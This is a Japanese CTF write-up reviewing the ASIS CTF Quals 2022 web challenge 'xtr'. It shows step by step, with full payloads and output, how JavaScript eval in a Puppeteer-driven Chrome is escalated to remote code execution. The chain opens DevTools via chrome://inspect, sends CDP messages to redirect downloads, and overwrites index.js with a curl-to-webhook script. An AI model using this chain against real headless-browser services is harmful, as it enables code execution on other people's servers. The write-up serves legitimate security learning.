st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ASIS CTF Quals 2022の復習 - [Web] xtr

10/14 - 10/15という日程で開催された。zer0ptsで出て67位。Web問がとても面白かったし、Firewalled, xtrの2問はあともう少しで解けそうだという感覚があったのだけれども、結局解ききれず悔しい。悔しいので、競技時間中には解けなかった問題を復習したい。


[Web 423] xtr (3 solves)

wow i have xss on all pages. i wonder what is stopping me from getting rce...

nc xtr.asisctf.com 9000

概要

ソースコード付き。問題文に書かれている問題サーバに接続すると文字列の入力が求められるけど、最終的に subprocess.call(('docker run --rm xtr /app/run.sh '+s).split(' ')) (s はユーザ入力) という感じで xtr というDockerコンテナに渡される。

xtrDockerfile はこんな感じ。chmod 000 されている /flag.txt というファイルを読むのが目的であるとわかる。/chmodflag はこの /flag.txtchmod 444 する実行ファイルで、/chmodflag を実行してから /flag.txt を読むという流れになる。

FROM ubuntu:latest

RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y curl
RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash -
RUN apt-get install -y ca-certificates fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libglib2.0-0 libgtk-3-0 libnspr4 libnss3 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 lsb-release xdg-utils wget nodejs

WORKDIR /tmp
RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -q
RUN dpkg -i ./google-chrome-stable_current_amd64.deb
RUN rm ./google-chrome-stable_current_amd64.deb

WORKDIR /app
COPY ./stuff /app
COPY ./stuff/chmodflag /
COPY ./flag.txt /flag.txt
RUN chmod 000 /flag.txt
RUN chmod +x /app/run.sh /app/index.js /chmodflag
RUN chmod u+s /chmodflag
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm install
RUN useradd -m www
RUN chown www /app -R
USER www

/app/run.sh は以下のような内容になっている。index.js にそのままコマンドライン引数を流すだけ。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

/app/index.js は以下のような内容だった。とてもシンプルな内容で、まずコマンドライン引数として与えられたJSONをパースし、url というキーで指定されたURLを開く。そして、actions というキーに入っている配列のそれぞれの要素について、それぞれ pageIdx キーで指定したタブ上で、payload キーで指定したJavaScriptコードを実行するという処理をしている。

#!/usr/bin/env node
const puppeteer = require('puppeteer');

(async () => {
    const opts = JSON.parse(atob(process.argv[2]))

    let browser
    try {      
        browser = await puppeteer.launch({
            headless: 'chrome',
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            executablePath: "/usr/bin/google-chrome",
        });

        console.log('[+] Browser online')

        let page = await browser.newPage();
        await page.goto(opts.url.toString(), { timeout: 3000, waitUntil: 'domcontentloaded' });

        let ackCnt = Math.min(10,+opts.actions.length)
        for(let i=0;i<ackCnt;i++){
            let pages = await browser.pages()
            let idx = opts.actions[i].pageIdx
            let payload = opts.actions[i].payload.toString()

            await pages[idx].evaluate((s)=>eval(s),payload)
            await new Promise((r)=>setTimeout(r,300));
            console.log(`[+] Executed payload ${i}`)
        }

        await page.close();
        await browser.close();
        browser = null;
    } catch(err){
    } finally {
        if (browser) await browser.close();
        console.log(`[+] Browser closed`)
    }
})();

具体的には、次のようなJSONを投げるとまず https://example.com を開き、開いたタブ上で console.log(123)location.href = '/hoge' を順番に実行する。pageIdx をいずれも 1 としているのは、https://example.com を開く前にすでに about:blank を開いているタブがあるから。

{
    "url": "https://example.com",
    "actions": [{
        "pageIdx": 1,
        "payload": "console.log(123)"
    }, {
        "pageIdx": 1,
        "payload": "location.href = '/hoge'"
    }]
}

解法

私がこの問題に本格的に取り掛かる前にs1r1usさんがある程度戦略を考えていた。Chromeからなんとかして /chmodflag という実行ファイルを実行する必要があるけど、その方法が問題となる。過去問にcorCTF 2021のsaasmeという問題があって、リンクを張ったwriteupではChrome DevTools Protocol(CDP) (*1) の一機能である Browser.setDownloadBehavior というメソッドを使っていた。これはファイルダウンロード時の保存先のディレクトリを変更したりできる。これを使って、たとえば /etc/cron.d/ のようにファイルを書き込めると嬉しいディレクトリをダウンロード先に指定し、悪いファイルをダウンロードして実行させたりしたい(今回はChromeの実行ユーザが root でないので、どこに書き込むか別途考える必要があるけれども)。

ではどうやってそれを実現するか。/app/index.js を見ると chrome:// スキームのURLも開けることがわかるから、それでなんとかしてDevToolsのページ上で以前ChromiumにあったバグのPoCのように target.SDK.targetManager.mainTarget().pageAgent() なるものを使ったり、あるいは別の事例のように DevToolsAPI.sendMessageToEmbedder なるメソッドを呼べばよいのではないかという案をs1r1usさんが出していた。

いずれにしても、そのためにDevToolsをタブとして開いた上で、そこでJavaScriptコードを実行できるようにしたい。要はDevTools on DevToolsがしたいのだが、このStack Overflowの回答のように Ctrl + Shift + i を押してDevToolsを開き、メニューからウィンドウとして切り離すボタンを押して、さらにそのウィンドウで Ctrl + Shift + i を押すという手順は今回は使えない。別の方法を考える必要がある。

DevTools on DevTools

chrome:// スキームのページを色々触っていると、chrome://inspect/#other に現在開かれているタブの一覧があり、各タブのURLの下にある inspect ボタンを押すと、そのタブでDevToolsを開けることがわかった。これなら、document.querySelector などで inspect ボタンを選択し、HTMLElement.click で押下というようにユーザインタラクションなしでJavaScriptコードでも操作を実現できる。

面白いことに、chrome://inspect/#other ではすでに開かれているDevToolsに対しても inspect ボタンを押してDevToolsを開ける。

index.js でユーザから与えられたJavaScriptコードを実行している箇所に console.log(pages.map(p=>p.url())) のようなコードを挿入して、開かれているタブを監視できるようにする。その上で、opts に次のようなオブジェクトを入れてみる。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

実行してみると、次のように出力された。devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true というタブが増えていて、ちゃんとDevToolsをタブとして開けていることがわかる。これで pageIdx でDevToolsを開いているタブを指定して、そこで好きなJavaScriptコードを実行させられる。

$ node index.js
[+] Browser online
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[2].click();

[+] Executed payload 0
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[3].click();

[+] Executed payload 1
[
  'about:blank',
  'chrome://inspect/#other',
  'devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true'
]
for (let i = 0; i < 100000000; i++);
[+] Executed payload 2
[+] Browser closed

DevToolsAPI.sendMessageToEmbedder

念のために DevToolsAPI.sendMessageToEmbedder が存在しているか確認してみる。optsactions に次のオブジェクトを追加して実行してみる。ちゃんとWebhook.siteに function という内容のPOSTが来て、ちゃんとDevTools上でJavaScriptコードが実行できており、DevToolsAPI.sendMessageToEmbedder というメソッドが存在していることが確認できた。

{
    "pageIdx": 2,
    "payload": "navigator.sendBeacon('https://webhook.site/(略)', typeof DevToolsAPI.sendMessageToEmbedder);"
}

ここからどうするか。chrome/browser/devtools/devtools_embedder_message_dispatcher.cc を眺めて DevToolsAPI.sendMessageToEmbedder で使用できるメソッドを探していた(*2)のだけれども、残念ながら競技時間中には有用なものを見つけられなかった。save というメソッドがファイルの保存ができそうに見えてそれっぽいが、呼んでみるとどこに保存するかというプロンプトが表示されてしまいダメ。ユーザインタラクションなしにできなければならない。

競技終了後に解法を共有するDiscordのチャンネルを眺めていたところ、Strellicさんがとても興味深い解法(閲覧にはASIS CTFのDiscordサーバへ参加のこと)を共有していた。なんと、DevToolsAPI.sendMessageToEmbedder から呼び出せるメソッドに dispatchProtocolMessage なるものがあったらしい。先程読んでいた devtools_embedder_message_dispatcher.cc でもう一度探してみると、確かにある (*3)。

dispatchProtocolMessage のハンドラに指定されている処理を追ってみると、その名の通りCDPのメッセージを送信できるメソッドであるとわかる。これを使えば Browser.setDownloadBehavior を使ってファイルのダウンロード先を変えられる。

作問者のparrotさんによれば、DevToolsの(JavaScript側の)ソースコードを確認するというのが想定されていた dispatchProtocolMessage を見つける方法だったとのこと。

試してみる。DevTools on DevToolsして、DevTools上で DevToolsAPI.sendMessageToEmbedder = function () { console.log(arguments); } を実行して、 DevToolsAPI.sendMessageToEmbedder が実行された際にどんな引数が渡ってきたかチェックできるようにする。そのまま適当なページを開いてみると、確かにいっぱい dispatchProtocolMessage を呼び出している様子が確認できた。どう見てもCDPだ。なるほどなあ。

Browser.setDownloadBehavior

フラグまであと一歩だが、まだひとつ問題が残っている。Browser.setDownloadBehavior を使ってどこにどんなファイルを保存するかだ。目的は /chmodflag という実行ファイルの実行で、そのためにはRCEに持ち込む必要がある。その書き換えるファイルのパスについて、Strellicさんは /app/node_modules/puppeteer/lib/cjs/puppeteer/puppeteer.js を、terjanqさん/app/index.js を選んでいたらしい。なぜそれでいけるのかという話だけれども、もう一度 /app/run.sh を見てみるとわかる。コマンドライン引数を複数与えるとそれぞれでいちいち index.js が走るという処理になっている。これは同じコンテナ内での処理だから、/app/index.js を書き換えると、書き換えた後の内容のスクリプトが実行される。なぜ上書きされるかはよくわからない。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

試してみる。以下のようなオブジェクトを作り、JSONシリアライズしてBase64エンコードする。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 2,
            "payload": `
            const message = JSON.stringify({
                id: 1,
                method: 'Page.setDownloadBehavior',
                params: {
                    behavior: 'allow',
                    downloadPath: '/app/'
                }
            });
            DevToolsAPI.sendMessageToEmbedder('dispatchProtocolMessage', [message], () => {});
            `
        }, {
            "pageIdx": 0,
            "payload": `
            const a = document.createElement("a");
            const blob = new Blob(["#!/bin/bash\\ncurl https://webhook.site/(略)?ok"], { type: "text/plain" });
            a.download = "index.js";
            a.href = URL.createObjectURL(blob);
            document.body.appendChild(a);
            a.click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

deploy.py に投げてみると、curl が実行されている様子が確認できた。

$ python3 deploy.py
input: eyJ1(略)fV19 a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0

実行するコマンドを /chmodflag; cat /flag.txt に変えた上で、今度は本物の問題サーバに投げてみる。

$ nc xtr.asisctf.com 9000
input: eyJ1(略)fQ== a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
ASIS{node+chrome+xss-lmao}

フラグが得られた。

ASIS{node+chrome+xss-lmao}

ということで、s1r1usさんが最初に立てていた方針ほぼそのままで解ける問題だった。ギャップを埋めるところで詰めが甘くて解けなかったのが悔しい。


  1. そもそもCDPとはという話はドキュメントなどを参照のこと。リンク先の問題では同じくPuppeteerが使われていて、記憶が正しければ puppeteer.launch に渡されるオプションでは pipe: false となっていた。なので、127.0.0.1TCPエフェメラルポートで待ち受けているところにSSRFして、そしてWebSocketを使ってCDPで通信することでChromeを操作…ということができたけど、残念ながら今回は pipe: true なのでその手は使えない

  2. ストライクウィッチーズ ROAD to BERLIN」を見ながら探していた

  3. どうしてこんなに便利そうなものを見逃したのか。これまでのCTF人生で2位か3位ぐらいに悔やまれるやらかしだった。ちなみに、ちゃんと動くexploitが完成していたのに、問題サーバのポート番号を間違えていたために解けなかったInCTF 2021 - Vuln Driveがダントツの1位。忘れられない